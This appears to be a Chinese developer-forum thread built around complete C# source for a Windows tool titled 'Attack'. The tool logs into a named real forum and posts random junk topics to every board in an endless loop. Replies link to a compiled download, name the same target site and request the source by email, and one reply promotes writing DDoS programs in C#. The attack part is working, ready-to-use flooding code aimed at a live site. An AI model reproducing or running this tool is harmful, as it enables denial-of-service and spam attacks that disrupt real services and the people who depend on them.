using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
namespace Attack
{
    class Form1:Form
    {
        public static void Main()
        {
            Application.Run(new Form1());
        }
        delegate void AppendText(string str);
        private System.ComponentModel.IContainer components = null;
        protected override void Dispose(bool disposing)
        {
            if (disposing && (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }
        private void InitializeComponent()
        {
            this.textBox1 = new System.Windows.Forms.TextBox();
            this.button1 = new System.Windows.Forms.Button();
            this.nameText = new System.Windows.Forms.TextBox();
            this.passText = new System.Windows.Forms.TextBox();
            this.label1 = new System.Windows.Forms.Label();
            this.label2 = new System.Windows.Forms.Label();
            this.SuspendLayout();
            // 
            // textBox1
            // 
            this.textBox1.Location = new System.Drawing.Point(2, -2);
            this.textBox1.Multiline = true;
            this.textBox1.Name = "textBox1";
            this.textBox1.ReadOnly = true;
            this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Both;
            this.textBox1.Size = new System.Drawing.Size(599, 330);
            this.textBox1.TabIndex = 0;
            // 
            // button1
            // 
            this.button1.Location = new System.Drawing.Point(526, 334);
            this.button1.Name = "button1";
            this.button1.Size = new System.Drawing.Size(75, 23);
            this.button1.TabIndex = 1;
            this.button1.Text = "Attack";
            this.button1.UseVisualStyleBackColor = true;
            this.button1.Click += new System.EventHandler(this.button1_Click);
            // 
            // nameText
            // 
            this.nameText.Location = new System.Drawing.Point(65, 336);
            this.nameText.Name = "nameText";
            this.nameText.Size = new System.Drawing.Size(100, 21);
            this.nameText.TabIndex = 2;
            // 
            // passText
            // 
            this.passText.Location = new System.Drawing.Point(237, 336);
            this.passText.Name = "passText";
            this.passText.PasswordChar = '*';
            this.passText.Size = new System.Drawing.Size(100, 21);
            this.passText.TabIndex = 3;
            // 
            // label1
            // 
            this.label1.AutoSize = true;
            this.label1.Location = new System.Drawing.Point(6, 345);
            this.label1.Name = "label1";
            this.label1.Size = new System.Drawing.Size(53, 12);
            this.label1.TabIndex = 4;
            this.label1.Text = "用户名:";
            // 
            // label2
            // 
            this.label2.AutoSize = true;
            this.label2.Location = new System.Drawing.Point(190, 345);
            this.label2.Name = "label2";
            this.label2.Size = new System.Drawing.Size(41, 12);
            this.label2.TabIndex = 5;
            this.label2.Text = "密码:";
            // 
            // Form1
            // 
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            this.ClientSize = new System.Drawing.Size(613, 369);
            this.Controls.Add(this.label2);
            this.Controls.Add(this.label1);
            this.Controls.Add(this.passText);
            this.Controls.Add(this.nameText);
            this.Controls.Add(this.button1);
            this.Controls.Add(this.textBox1);
            this.Name = "Form1";
            this.Text = "Form1";
            this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Form1_FormClosing);
            this.ResumeLayout(false);
            this.PerformLayout();        }        private System.Windows.Forms.TextBox textBox1;
        private System.Windows.Forms.Button button1;
        private System.Windows.Forms.TextBox nameText;
        private System.Windows.Forms.TextBox passText;
        private System.Windows.Forms.Label label1;
        private System.Windows.Forms.Label label2;
         AppendText at;
        Hashtable users = new Hashtable();
        string name, password,password_md5;
        string url = "http://club.heze.cc";
        byte[] buffer=new byte[1024];
        Thread thread;
        public Form1()
        {
            InitializeComponent();
        }

解决方案 »

  1.   

    private void button1_Click(object sender, EventArgs e)
            {
                if (button1.Text == "Attack")
                {
                    foreach (char c in nameText.Text)
                    {
                        if ((int)c > 0xff)
                        {
                            MessageBox.Show("暂不支持中文名");
                            return;
                        }
                    }
                    button1.Text = "Stop";
                    textBox1.Clear();
                    thread = new Thread(new ThreadStart(AttackThread));
                    thread.Start();
                }
                else
                {
                    thread.Abort();
                    thread = null;
                    button1.Text = "Attack";
                }
            }
            bool AddNewTopic(int bbs_id)
            {
                HttpWebRequest request;
                HttpWebResponse response;
                request = (HttpWebRequest)WebRequest.Create(url + "/ibbs.dll?newtopicin");
                request.Headers.Add("Cookie", string.Format("iBBSNAME={0}; iBBSPASS={1}",name,password_md5));
                request.Method = "post";
                string postData="";
                postData += string.Format("bbs_id={0}&", bbs_id);
                postData += string.Format("username={0}&", name);
                postData += string.Format("password={0}&", password_md5);
                postData += string.Format("t_subject={0}&", GetSubject());
                postData += string.Format("t_message={0}&", GetContent());
                buffer = UTF8Encoding.ASCII.GetBytes(postData);
                request.ContentLength = buffer.Length;
                Stream stream = request.GetRequestStream();
                stream.Write(buffer, 0, buffer.Length);
                response = (HttpWebResponse)request.GetResponse();
                stream.Close();
                stream = response.GetResponseStream();
                int count;
                buffer = new byte[255];
                count = stream.Read(buffer, 0, buffer.Length);
                StringBuilder sb = new StringBuilder();
                while (count > 0)
                {
                    sb.Append(UTF8Encoding.Default.GetString(buffer, 0, count));
                    count = stream.Read(buffer, 0, buffer.Length);
                }
                if(Regex.IsMatch(sb.ToString(),"添加新文章成功"))
                {
                    return true;
                }
                return false;        }
            void AttackThread()
            {
                name = nameText.Text;
                password = passText.Text;
                at = delegate(string str)
                {
                    textBox1.AppendText(str);
                };
                textBox1.Invoke(at, "检测用户名和密码...");
                if (CheckUser(name,password))
                {
                    textBox1.Invoke(at, "正确\r\n");
                    password_md5 = System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(password, "MD5").ToLower();
                }
                else
                {
                    textBox1.Invoke(at, "错误\r\n退出攻击!\r\n");
                    return;
                }
                textBox1.Invoke(at, "提取所有版面的ID...");
                int[] bbs_id = Check_bbs_id();
                if (bbs_id.Length > 0)
                {
                    textBox1.Invoke(at, string.Format("完成(共{0}个)\r\n", bbs_id.Length));
                }
                else
                {
                    textBox1.Invoke(at, "没有提取出版面ID,退出!");
                    return;
                }
                int count = 0, success = 0;
                while (true)
                {
                    foreach (int id in bbs_id)
                    {
                        textBox1.Invoke(at, string.Format("已攻击{0}次,成功{1}次,失败{2}次(线程:{3})\r\n", count, success, count - success, Thread.CurrentThread.ManagedThreadId));
                        count++;
                        try
                        {
                            if (AddNewTopic(id))
                                success++;
                        }
                        catch { }
                    }
                }        }
            int[] Check_bbs_id()
            {
                StringBuilder sb = new StringBuilder();
                HttpWebRequest request;
                HttpWebResponse response;
                request = (HttpWebRequest)WebRequest.Create(url + "/ibbs.dll");
                response = (HttpWebResponse)request.GetResponse();
                Stream stream = response.GetResponseStream();
                int count;
                buffer = new byte[255];
                count = stream.Read(buffer, 0, buffer.Length);
                while (count > 0)
                {
                    sb.Append(UTF8Encoding.Default.GetString(buffer, 0, count));
                    count = stream.Read(buffer, 0, buffer.Length);
                }
                List<int> ids = new List<int>();
                Match match = Regex.Match(sb.ToString(), "UserListBoard='(?<numbers>[0-9,]+)';");
                if (match.Success)
                {
                    Match m = Regex.Match(match.Groups["numbers"].Value, "\\d+");
                    while (m.Success)
                    {
                        ids.Add(int.Parse(m.Value));
                        m = m.NextMatch();
                    }
                }
                int[] data = new int[ids.Count];
                for (int i = 0; i < data.Length; i++)
                {
                    data[i] = ids[i];
                }
                return data;
            }
            bool CheckUser(string username,string userpassword)
            {
                HttpWebRequest request;
                HttpWebResponse response;
                request = (HttpWebRequest)WebRequest.Create(url + "/ibbs.dll?chklogin");
                request.Method = "post";
                string postData = "";
                postData += string.Format("username={0}&", username);
                postData += string.Format("password={0}", userpassword);
                byte[] buffer = UTF8Encoding.ASCII.GetBytes(postData);
                request.ContentLength = buffer.Length;
                Stream stream = request.GetRequestStream();
                stream.Write(buffer, 0, buffer.Length);
                response = (HttpWebResponse)request.GetResponse();
                for (int i = 0; i < response.Headers.Count; i++)
                {
                    if (response.Headers.Keys[i] == "Set-Cookie")
                        return true;
                }
                return false;
            }
            string GetContent()
            {
                Random r = new Random();
                int subLenght = r.Next(512, 1024);
                if ((subLenght % 2) == 1)
                {
                    subLenght++;
                }
                char[] buffer = new char[subLenght * 3];
                for (int i = 0; i < subLenght; )
                {
                    buffer[i] = '%';
                    i++;
                    buffer[i] = string.Format("{0:x}", r.Next(0, 255)).ToUpper()[0];
                    i++;
                    buffer[i] = string.Format("{0:x}", r.Next(0, 255)).ToUpper()[0];
                    i++;
                }
                return new string(buffer);
            }
            string GetSubject()
            {            Random r = new Random();
                int subLength = r.Next(5, 20);
                byte[] buffer = new byte[subLength];
                r.NextBytes(buffer);
                return ASCIIEncoding.Default.GetString(buffer);
            }        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
            {
                if (thread != null)
                    thread.Abort();
            }
        }
    }
      

  2.   

    编译好的程序请到http://sheller.go.51.net下载
    目标网址:http://club.heze.cc
      

  3.   

    能否发个源码包给我,
    [email protected]
      

  4.   

    很简单的IHttpWebRequest和IHttpWebResponse伪造头而已,还以为有什么新奇的东东也~~~
      

  5.   

    to:
    echoxue
    发了,注意查收。
      

  6.   

    楼主能发个源码过来吗??先谢谢了. [email protected]
      

  7.   

    c#可以轻松的编写ddos程序,2种方法,1用ws2_32.dll的api函数,2直接用socket类。
    看看我的blog吧指点一下,用第二种方法实现的,但是效率较低。尤其请说做不了得同志指点。
      

  8.   

    http://blog.csdn.net/laotse/archive/2006/01/10/574898.aspx
    这是我编写的c#ddos程序,请大家指点。
      

  9.   

    to:
     nicesky1
    发了,注意查收
      

  10.   

    大哥,可以发给我吗?先谢谢了!
    [email protected]
      

  11.   

    大哥,能给我一份吗?
    [email protected]
    谢谢啦
      

  12.   

    [email protected]
    呵呵 发一份我看看八
    有时间研究研究
      

  13.   

    牛人就不一样,一下,再留个Email: [email protected]
      

  14.   

    [email protected],看看有多强!